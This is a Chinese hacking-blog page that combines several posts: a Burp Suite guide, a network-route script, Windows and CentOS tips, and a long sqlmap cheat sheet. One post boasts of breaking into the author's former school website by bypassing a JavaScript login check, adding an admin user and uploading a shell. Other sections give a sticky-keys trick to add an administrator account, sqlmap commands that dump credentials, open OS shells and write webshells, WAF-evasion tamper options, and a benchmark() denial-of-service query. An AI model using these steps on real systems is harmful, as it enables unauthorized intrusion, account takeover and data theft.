Burp Suite新手指南 技术文章
Burp Suite想必大家都用过,但是大家未必知道它的所有功能。因此,本文的主要目的就是尽量深入介绍各种功能。BurpSuite有以下这些功能:
[blue]
截获代理– 让你审查修改浏览器和目标应用间的流量。爬虫 – 抓取内容和功能
Web应用扫描器* –自动化检测多种类型的漏洞
Intruder – 提供强大的定制化攻击发掘漏洞
Repeater – 篡改并且重发请求
Sequencer –测试token的随机性
能够保存工作进度,以后再恢复
插件*– 你可以自己写插件或者使用写好的插件,插件可以执行复杂的,高度定制化的任务
*表示需要Burp Suite Pro授权。
[/blue]
Intercepting Proxy(截取代理)
Intercepting proxy是针对web应用渗透测试工具的功能。Burp Suite的代理工具非常容易使用,并且能和其他工具紧密配合。要使用这个功能,第一步就是建立代理监听(Proxy–> Options功能下)。我的设置为了默认值localhost (127.0.0.1),端口为8080。
你可以点击编辑(“Edit”)进行修改,或者添加新的监听端口。一旦建立好,你就要到浏览器的网络连接设置处手动配置代理设置:
我们现在可以访问我们要测试的应用,然后看到发送的所有请求了。到Proxy –> Intercept标签页,然后确保截获功能开启(“Intercept is on”),然后就能看到所有的请求了。
你可以修改请求,然后点击“Forward”发送修改后的请求,如果不想发送某些请求你也可以点击“Drop”按钮。“Actions”按钮下还有很多其他的功能。
如果你想回过头看下前面发送的请求,你可以切换到Proxy –> HTTP History标签页,这里有所有的请求列表,还有些详情如响应的长度,MIME类型和状态码。如果你修改过请求,你会看到两个标签,分别是修改前和修改后的请求:
另一个有用的功能是自动修改请求/响应,功能位于Proxy –> Options。通过这个功能可以去除JavaScript的表单验证。你也可以用正则表达式匹配替换请求/响应:
Spider(爬虫)
当你在对web应用进行初步检查的时候,Burp Suite的spider工具非常有用。当你浏览Web应用时,它会从HTML响应内容中主动生成一份URL列表,然后尝试连接URL。要使用爬虫功能,我们首先要切换到Target–> Site Map标签,然后右键域名,选择“Add To Scope”:
所有加入的域名都在Target –> Scope标签页里。你可以手动添加域名,修改,或者添加需要配出的URL(比如如果你不希望对“联系我们”的表单进行自动化测试,就可以把它排除掉):
如果我们现在进入Spider –> Control标签,就能看到有些URL正在排队中,注意看下面,爬虫只会对scope中的域名进行测试:
回到Site Map我们可以看到URL的列表,黑色代表我们已经成功访问过那个页面,爬虫确认过是有效的。灰色代表爬虫在HTML响应中找到了这个URL但是还没有确认是否有效:
基本的设置后,我们返回到Spider –> Control标签,点击“Spider Is Paused”按钮运行工具,它会尝试连接所有之前找到的URL,包括在运行过程中找到的新的。如果过程中有表单需要填写,它会弹出表单供你填写,确保能收到有效的响应:
现在Site Map中就有整理整齐的URL了:
Spider –> Options标签下有些你可以调整的选项,如user-agent ,或者爬虫应该爬多深,两个重要的设置是表单提交和应用登录,设置好之后爬虫可以自动为你填写表单:
Intruder
Intruder是Burp Suite中最受欢迎的工具。Intruder是获取Web应用信息的工具。它可以用来爆破,枚举,漏洞测试等任何你想要用的测试手段,然后从结果中获取数据。
我举个例子来演示Intruder的使用方法。即爆破登录页面的管理员密码(假设没有帐号锁定)。首先,我们切换到Proxy-> HTTP History,右键要测试的请求,点击“Send To Intruder”:
接下来我们切换到Intruder标签,准备攻击。程序会在Target标签里自动填上请求中的host和端口。在Position(位置)标签出哦我们可以看到我们选择的请求并设置我们要攻击的位置。用鼠标高亮想要攻击的位置, 然后点击右边的“Add”,如果需要的话可以选择多个位置:
最上面的地方有多种攻击类型,本例中我们使用默认的Sniper,但实际上每种攻击类型都有特定用途:
[blue]
Sniper – 这个模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行fuzzing测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram – 这一模式使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。
Pitchfork – 这一模式使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量。
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。
[/blue]
位置设定好之后我们切换到Payloads标签,选择攻击时使用的数据。顶部的地方你可以看到payload组。各个组都对应设置的各个位置。我们可以选择payload类型,如简易列表(Simple List)。
在那下面有一些payload选项。每个payload类型都有不同的选项,供用户为你的测试进行修改。我经常使用的是数字(Numbers),你可以设置范围,选择是连续的数字还是随机数字,还有每次攻击时的步长等。不过对于我们要搞的爆破攻击,我们只需要添加一个密码字典就行:
接下来就是点击右上角的开始攻击(Start Attack)按钮。程序就会弹出一个新的窗口,显示的是尝试的每个payload和响应的详情。我们的例子中,第六个请求获取到了正确的密码:
我们返回主窗口,然后切换到Intruder –> Options标签页,可以发现还有些别配置。其中一个很重要的是“Grep– Match”功能,这个功能可以让你基于HTML中的字符串或者正则表达式标记出结果。这些标记会在新增的栏里出现。
[green]注:免费版的Burp Suite会对Intruder限速,专业版会更快。[/green]
Repeater(重复器)、decoder(解码器)和comparer(比较器)也很有用,但由于使用简单,在此就不再赘述了。
原文地址:https://matttheripperblog.files.wordpress.com/2016/01/add-to-scope.png?w=770
利用python脚本实现Windows网卡叠加 技术文章
以前经常在网上找网卡叠加的小软件,找过很多个,有的用不来有的没效果,偶尔找到一个能用的批处理,于是根据这个脚本自己用python写了一个修改路由表的方案,这样一来下次就不用在网上找来找去了,简单实用(水平有限,还请在座各位多多指教)。
废话不多说直接贴代码,送给需要的人
#coding:utf-8 #调用库 import sys,os,re #函数 def pro_continue(): input("按Enter键退出") def nic_count(x): if x<2: print("网络叠加需要两块或两块以上网卡") exit() elif x>4: print("该程序最多支持叠加四块网卡") exit() def add_routetables2(i,g): net_1=[1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157,159,161,163,165,167,171,173,175,177,179,181,183,185,187,189,191,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223] net_2=[2,4,6,8,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118,120,122,124,126,128,130,132,134,136,138,140,142,144,146,148,150,152,154,156,158,160,162,164,166,168,170,174,176,178,180,182,184,186,188,190,194,196,198,200,202,204,206,208,210,212,214,216,218,220,222] print("开始<span class='wp_keywordlink_affiliate'><a href="http://www.slll.info/archives/tag/%e8%b4%9f%e8%bd%bd%e5%9d%87%e8%a1%a1" title="View all posts in 负载均衡" target="_blank">负载均衡</a></span>") os.system("route delete 0.0.0.0") os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0])) a=0 for x in net_1: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0])) for x in net_2: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1])) print("双网卡叠加成功") def add_routetables3(i,g): net_1=[1,4,7,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,106,109,112,115,118,121,124,130,133,136,139,142,145,148,151,154,157,160,163,166,175,178,181,184,187,190,193,196,199,202,205,208,211,214,217,220,223] net_2=[2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,71,74,77,80,83,86,89,92,95,98,101,104,107,110,113,116,119,122,125,128,131,134,137,140,143,146,149,152,155,158,161,164,167,170,173,176,179,182,185,188,191,194,197,200,203,206,209,212,215,218,221] net_3=[3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57,60,63,66,69,72,75,78,81,84,87,90,93,96,99,102,105,108,111,114,117,120,123,126,129,132,135,138,141,144,147,150,153,156,159,162,165,168,171,174,177,180,183,186,189,195,198,201,204,207,210,213,216,219,222] print("开始<span class='wp_keywordlink_affiliate'><a href="http://www.slll.info/archives/tag/%e8%b4%9f%e8%bd%bd%e5%9d%87%e8%a1%a1" title="View all posts in 负载均衡" target="_blank">负载均衡</a></span>") os.system("route delete 0.0.0.0") os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0])) a=0 for x in net_1: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0])) for x in net_2: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1])) for x in net_3: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[2]) +" metric 25 if " + str(i[2])) print("三网卡叠加成功") def add_routetables4(i,g): net_1=[1,5,9,13,17,21,25,29,33,37,41,45,49,53,57,61,65,69,73,77,81,85,89,93,97,101,105,109,113,117,121,125,129,133,137,141,145,149,153,157,161,165,173,177,181,185,189,193,197,201,205,209,213,217,221] net_2=[2,6,14,18,22,26,30,34,38,42,46,50,54,58,62,66,70,74,78,82,86,90,94,98,102,106,110,114,118,122,126,130,134,138,142,146,150,154,158,162,166,170,174,178,182,186,190,194,198,202,206,210,214,218,222] net_3=[3,7,11,15,19,23,27,31,35,39,43,47,51,55,59,63,67,71,75,79,83,87,91,95,99,103,107,111,115,119,123,131,135,139,143,147,151,155,159,163,167,171,175,179,183,187,191,195,199,203,207,211,215,219,223] net_4=[4,8,12,16,20,24,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,124,128,132,136,140,144,148,152,156,160,164,168,176,180,184,188,196,200,204,208,212,216,220] print("开始负载均衡") os.system("route delete 0.0.0.0") os.system("route add 0.0.0.0 mask 0.0.0.0 " + str(g[0]) + " metric 30 if " + str(i[0])) a=0 for x in net_1: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[0]) +" metric 25 if " + str(i[0])) for x in net_2: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[1]) +" metric 25 if " + str(i[1])) for x in net_3: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[2]) +" metric 25 if " + str(i[2])) for x in net_4: os.system ("route add " + str(x) + ".0.0.0 mask 255.0.0.0 "+ str(g[3]) +" metric 25 if " + str(i[3])) print("四网卡叠加成功") def check_ip(ip_str): pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" if re.match(pattern, ip_str): return True else: return False #主程序 os.system("title 网卡叠加-www.slll.info&&color 18") net_count=int(input("请输入网卡数量(MAX:4,Min:2): ")) nic_count(net_count) arr_1=[] arr_2=[] for x in range(1,net_count+1): temp=input("请输入第"+str(x)+"块需要叠加的网卡索引号 (cmd下面利用该命令查看:route print | find \"...\"[第一列即索引号]): ") arr_1.append(temp) temp=input("请输入网卡(" +str(x)+") 的网关: ") while True: if check_ip(temp): arr_2.append(temp) break else: temp=input("输入错误,请重新输入网卡(" +str(x)+") 的网关: ") if net_count==2: add_routetables2(arr_1,arr_2) elif net_count==3: add_routetables3(arr_1,arr_2) elif net_count==4: add_routetables4(arr_1,arr_2) pro_continue()注:此文并非博主原创,文章很有实用性,转载之,原文请移步:http://www.slll.info/archives/2153.html
CentOS设置程序开机自启动的方法 Linux
在CentOS系统下,主要有两种方法设置自己安装的程序开机启动。
1、把启动程序的命令添加到/etc/rc.d/rc.local文件中,比如下面的是设置开机启动httpd。
#!/bin/sh # # This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. touch /var/lock/subsys/local /usr/local/apache/bin/apachectl start
2、把写好的启动脚本添加到目录/etc/rc.d/init.d/,然后使用命令chkconfig设置开机启动。
例如:我们把httpd的脚本写好后放进/etc/rc.d/init.d/目录,使用
chkconfig --add httpd chkconfig httpd on
命令即设置好了开机启动。
入侵之前的学校的网站的过程 渗透测试
作者:宝顺
前上学的学校。早就毕业了的,上学时候就一直想拿下来玩玩,不过总是忘了。今天无聊就拿下来了。。
目标站:xxxxxx.com
首先找后台地址。随便加了个admin。就是了,等等。。好像不对,为啥显示了部分内容才弹出的未登录的提示框。
相信大家都明白,写程序的时候验证是否登录的代码放到了现在显示的这些代码的后面,所里浏览器就先执行前面的代码(这个大家都懂,浏览器就按照先后顺序执行的代码)
而且还是js弹窗,好办了,禁止js代码就行了。毕竟是客户端的东西嘛!
火狐的禁止方法(其他浏览器的自行百度):
再地址栏输入about:config,点击回车键
在搜索地址栏中输入javascript.enabled
鼠标右键第一个,弹出菜单。再点击切换
当一行的中的,值由trun变成false。时候说明已经关闭了。
好了。js已经禁用了。
我们刷新页面试试。
已经执行js代码了。
接下来就是找可以登录后台的漏洞了。因为他执行了一个个人管理的代码。
我们右键审查元素。
看到了个密码修改的地址,点进去看看。
可以添加用户了。
我们添加个用户,然后后台登录。
我就不截图了
登录成功。
ok
拿shell更简单了。随便找了个地方任意文件上传。至于服务器就不提了,毕竟不会。。
发这个文章主要是告诉各位朋友,拿站方法千千万,一定要灵活的去入侵,不要那么死板。
出处:宝顺 'S Blog - 入侵之前的学校的网站的过程
win7 win10绕过系统密码添加用户登陆 技术文章
[blue] 不使用任何工具/软件来绕过win7、win10的密码从而添加新账户/修改本身账户密码来登陆系统 ,这个方法在网上也有过,今天呢博主专门测试了一下,是可以的,所以发出来,共享。方便大家在忘记密码而又没有工具的时候登录系统。下面就开始吧:[/blue]
0x001
首先我们让电脑重启下,并且还得让他进入修复模式
最简单的方法就是长按电源键,然后直到他强制关机,再开机,哇哦,进入修复模式了呢!
0x002
然后你就看到了非正常关机的修复界面,蓝底白字那个,我不用win10就不截图了,自己感受,然后别点重启,点高级设置!
0x003
然后,又有三个选项,不用管,看图看得懂吧?选择第二个,那个螺丝刀和扳手的自动排查图标!
0x004
这里windows会让你选择从镜像恢复或是命令行提示符,机智的你是不是肯定会选择命令提示符呢?
然后你就想执行命令了是吧?添加账号了是吧?提升为管理员了是吧?
呵呵。。。那我还写着文章干嘛?事实证明是没用的,应为这个命令行无法为正常windows系统添加账户(说的太深,自己理解去吧)
这个时候我们用命令行这样执行:
嗯哼,打完收工。。。。明白了吧,把粘滞键改成cmd。
然后重启电脑,看到登录界面,要我输入密码???按五下shift,CMD弹出来了吧?呼呼。
这个时候,你可以去添加账户了,绝对是添加给当前系统的。
net user p0tt1 p0tt1666 /add
net loucalgroup administrators p0tt1 /add
然后?然后就进去了...进去了...去了...了...
[quote] 注:代码和过程其实都差不多,博主比较懒,不想打字,复制的,原文:http://p0tt1.com/?post/1lyzhz [/quote]
win7系统不能更改文件的打开方式解决办法小计 技术文章
不知道大家有没有发现用WIN7时会出现“打开方式”无法添加这个问题,也就是你想对某个类型的文件(比如txt/php文件)更改或者是添加一种打开方式的时候不能添加/更改。我最近更新了sublimetext 3,是软件它提示我更新的,我就直接点击update-download,结果就出了这悲剧。。。想要更改php文件的打开方式为sublime时,死活添加不了:右击文件->选属性->选择“更改”->选"浏览"->找到sublime_text.exe,之后就没任何反应,在 其他程序框下面也没有,压根儿就没有添加进去;然后又在控制面板里的"默认程序”的“将文件类型或协议与程序关联”,结果也一样,压根儿就没法添加呀!
后来搜索知道原因大概是,windows文件关联的问题,和系统32/64无关。以前版本的sublime变换了路径一样会出问题,解决方法很简单:
在注册表里搜索sublime_text.exe,确认每一个键值都指向最新的sublime_text文件即可。”
对注册表修改不熟的可看下面具体操作:
具体操作:1、按win键+R,出现“运行”,在对话框内打regedit,进入注册表,
2、在注册表上菜单栏中,进入“编辑”-“查找”,打sublime_text,回车
3、在注册表右侧栏中,查看sublime_text的路径是否是现在软件安装盘下的路径,不是的话点右键“修改”,将路径改为现在安装盘下的路径
4、“编辑”-“查找下一个”,重复第三步,直至查找全部结束,退出注册表
完成以上,再右键-文件“打开方式”,看是否有sublimetext?不出意外应该有了。
还有一种更简单的方法,就是把软件的文件名修改一下,再去添加关联就可以了!!!只是这种方法会让快捷方式失效,需要我们自己修改一下快捷方式的目标文件名。
SQLMAP注入教程-个人笔记精华整理分享-11种常见SQLmap使用方法详解 渗透测试
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
一共有11种,乌云知识库也有一片比较全面的介绍各个参数的文章:
SQLmap用户手册:http://drops.wooyun.org/tips/143
1.SQLMAP用于Access数据库注入
(1)猜解是否能注入
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2)猜解表
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
(3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
(4)根据字段猜解内容(假如通过3得到字段为username和password)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,password"
2.SQLMAP用于Cookie注入
(1)cookie注入,猜解表
win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2
(2)猜解字段,(通过1的表猜解字段,假如表为admin)
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
admin --level 2
(3)猜解内容
win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
admin -C "username,password" --level 2
3.SQLMAP用于mysql中DDOS攻击
(1)获取一个Shell
win:
python sqlmap.py -u http://192.168.159.1/news.php?id=1 --sql-shell
Linux:
sqlmap -u http://192.168.159.1/news.php?id=1 --sql-shell
(2)输入执行语句完成DDOS攻击
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
4.SQLMAP用于mysql注入
(1)查找数据库
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
(2)通过第一步的数据库查找表(假如数据库名为dataname)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
(3)通过2中的表得出列名(假如表为table_name)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
(4)获取字段的值(假如扫描出id,user,password字段)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump
5.SQLMAP中post登陆框注入
(1)其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
- 浏览器打开目标地址http:// www.xxx.com /Login.asp
- 配置burp代理(127.0.0.1:8080)以拦截请求
- 点击login表单的submit按钮
- 这时候Burp会拦截到了我们的登录POST请求
- 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
- 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2)自动的搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
(3)指定参数搜索
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321"
6.SQLMAP中Google搜索注入
inurl后面的语言是由自己定的
注入过程中如果选y是注入,如果不是选n
sqlmap -g inurl:php?id=
7.SQLMAP中的请求延迟
参数 --delay --safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
参数
8.SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py
9.SQLMAP查看权限
sqlmap -u http://192.168.159.1/news.php?id=1 --privileges
10.SQLMAP伪静态注入
(1)查找数据库
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
(2)通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables
(3)通过2中的数据表得到字段(假如得到的是tablename表)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns
(4)通过3得到字段值(假如从3中得到字段id,password)
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename -C "password" --dump
11.SQLMAP注入点执行命令与交互写shell
(1)
注入点:http://192.168.159.1/news.php?id=1
此处采用的是Linux系统
sqlmap -u http://192.168.159.1/news.php?id=1 --os-cmd=ipconfig
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
(2)获取Shell
sqlmap -u http://192.168.159.1/news.php?id=1 --os-shell
出现语言的选择根据实际的测试网站选择语言
指定目标站点D:/www/
输入ipconfig/all
创建用户和删除用户只要权限足够大,你可以输入使用任何命令。
其他命令参考下面:
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap详细命令:
- –is-dba 当前用户权限(是否为root权限)
- –dbs 所有数据库
- –current-db 网站当前数据库
- –users 所有数据库用户
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- –passwords 数据库密码
- –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
——————————————————————————————————
Options(选项):
- –version 显示程序的版本号并退出
- -h, –help 显示此帮助消息并退出
- -v VERBOSE 详细级别:0-6(默认为1)
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
- -d DIRECT 直接连接到数据库。
- -u URL, –url=URL 目标URL。
- -l LIST 从Burp或WebScarab代理的日志中解析目标。
- -r REQUESTFILE 从一个文件中载入HTTP请求。
- -g GOOGLEDORK 处理Google dork的结果作为目标URL。
- -c CONFIGFILE 从INI配置文件中加载选项。
Request(请求):
这些选项可以用来指定如何连接到目标URL。
- –data=DATA 通过POST发送的数据字符串
- –cookie=COOKIE HTTP Cookie头
- –cookie-urlencode URL 编码生成的cookie注入
- –drop-set-cookie 忽略响应的Set – Cookie头信息
- –user-agent=AGENT 指定 HTTP User – Agent头
- –random-agent 使用随机选定的HTTP User – Agent头
- –referer=REFERER 指定 HTTP Referer头
- –headers=HEADERS 换行分开,加入其他的HTTP头
- –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
- –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
- –proxy=PROXY 使用HTTP代理连接到目标URL
- –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
- –ignore-proxy 忽略系统默认的HTTP代理
- –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
- –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
- –retries=RETRIES 连接超时后重新连接的时间(默认3)
- –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
- –safe-url=SAFURL 在测试过程中经常访问的url地址
- –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。- -b, –banner 检索数据库管理系统的标识
- –current-user 检索数据库管理系统当前用户
- –current-db 检索数据库管理系统当前数据库
- –is-dba 检测DBMS当前用户是否DBA
- –users 枚举数据库管理系统用户
- –passwords 枚举数据库管理系统用户密码哈希
- –privileges 枚举数据库管理系统用户的权限
- –roles 枚举数据库管理系统用户的角色
- –dbs 枚举数据库管理系统数据库
- -D DBname 要进行枚举的指定数据库名
- -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
- –tables 枚举的DBMS数据库中的表
- –columns 枚举DBMS数据库表列
- –dump 转储数据库管理系统的数据库中的表项
- –dump-all 转储所有的DBMS数据库表中的条目
- –search 搜索列(S),表(S)和/或数据库名称(S)
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
- –exclude-sysdbs 枚举表时排除系统数据库
- –start=LIMITSTART 第一个查询输出进入检索
- –stop=LIMITSTOP 最后查询的输出进入检索
- –first=FIRSTCHAR 第一个查询输出字的字符检索
- –last=LASTCHAR 最后查询的输出字字符检索
- –sql-query=QUERY 要执行的SQL语句
- –sql-shell 提示交互式SQL的shell
Optimization(优化):
这些选项可用于优化SqlMap的性能。
- -o 开启所有优化开关
- –predict-output 预测常见的查询输出
- –keep-alive 使用持久的HTTP(S)连接
- –null-connection 从没有实际的HTTP响应体中检索页面长度
- –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
- -p TESTPARAMETER 可测试的参数(S)
- –dbms=DBMS 强制后端的DBMS为此值
- –os=OS 强制后端的DBMS操作系统为这个值
- –prefix=PREFIX 注入payload字符串前缀
- –suffix=SUFFIX 注入payload字符串后缀
- –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
- –level=LEVEL 执行测试的等级(1-5,默认为1)
- –risk=RISK 执行测试的风险(0-3,默认为1)
- –string=STRING 查询时有效时在页面匹配字符串
- –regexp=REGEXP 查询时有效时在页面匹配正则表达式
- –text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
- –technique=TECH SQL注入技术测试(默认BEUST)
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- –union-cols=UCOLS 定列范围用于测试UNION查询注入
- –union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
- -f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
- –common-tables 检查存在共同表
- –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
- –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
- –os-cmd=OSCMD 执行操作系统命令
- –os-shell 交互式的操作系统的shell
- –os-pwn 获取一个OOB shell,meterpreter或VNC
- –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
- –os-bof 存储过程缓冲区溢出利用
- –priv-esc 数据库进程用户权限提升
- –msf-path=MSFPATH Metasploit Framework本地的安装路径
- –tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。
- –reg-read 读一个Windows注册表项值
- –reg-add 写一个Windows注册表项值数据
- –reg-del 删除Windows注册表键值
- –reg-key=REGKEY Windows注册表键
- –reg-value=REGVAL Windows注册表项值
- –reg-data=REGDATA Windows注册表键值数据
- –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
- -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
- -s SESSIONFILE 保存和恢复检索会话文件的所有数据
- –flush-session 刷新当前目标的会话文件
- –fresh-queries 忽略在会话文件中存储的查询结果
- –eta 显示每个输出的预计到达时间
- –update 更新SqlMap
- –save file保存选项到INI配置文件
